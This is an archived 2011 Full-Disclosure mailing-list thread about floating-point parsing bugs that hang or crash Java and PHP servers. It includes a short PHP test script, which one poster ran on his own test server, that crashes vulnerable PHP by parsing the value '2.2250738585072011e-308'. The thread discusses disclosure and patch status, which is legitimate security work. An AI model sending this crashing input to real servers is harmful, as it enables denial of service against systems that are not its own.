full-disclosure - Re: {Java,PHP} Server Exploits

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <AANLkTimcQfzwQsYirYhxOKQ+WvcD3vfuk8f8F7g2c661@mail.gmail.com>
Date: Wed, 9 Feb 2011 20:56:40 +0100
From: Christian Sciberras <uuf6429@...il.com>
To: literalka@...a.eu
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: {Java,PHP} Server Exploits

Ah, been reading more about it, seems it was fixed.

Still, there should have been safeguards around this - I'm thinking they
should check existing conversion routines to ensure they're safe...




On Wed, Feb 9, 2011 at 8:54 PM, Christian Sciberras <uuf6429@...il.com>wrote:

> Was it fixed? What's the current status?
>
> The sounds like a major issue, and the lack of info about it is darn
> impressive.
>
>
> I tried it on my test Windows WAMP server:
>
> <?php
>
>     ob_implicit_flush(true);
>
>     echo 'Start test...<br/>';
>
>     $f=(float)"2.2250738585072011e-308";
>     echo 'Try 1 => '.$f.'</br>';
>
>     $f=floatval("2.2250738585072011e-308");
>     echo 'Try 2 => '.$f.'</br>';
>
>     $f="2.2250738585072011e-308";
>     echo 'Try 3 => '.(float)$f.'</br>';
>
>     echo 'Test failed, server not vulnerable!</br>';
>
> ?>
>
> All three tests succeeded in crashing the server.
>
> With all due respect, this should NOT have been disclosed without being
> FIXED (as it seems to me).
> Plus, I'm a bit amazed such a bug exists in PHP - since converting to
> floating point is a trivial operation, it should have been limited and
> safe-guarded from the start.
> There are a lot of servers out there happily accepting input as floating
> point values, this bug should be top priority...
>
>
> Chris.
>
>
>
> On Wed, Feb 9, 2011 at 6:40 PM, Leon Kaiser <literalka@...il.com> wrote:
>
>>
>> http://developers.slashdot.org/story/11/02/09/025237/Java-Floating-Point-Bug-Can-Lock-Up-Servers
>>
>> http://it.slashdot.org/story/11/01/06/1820208/PHP-Floating-Point-Bug-Crashes-Server<http://it.slashdot.org/story/11/01/06/1820208/PHP-Floating-Point-Bug-Crashes-Servers>
>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/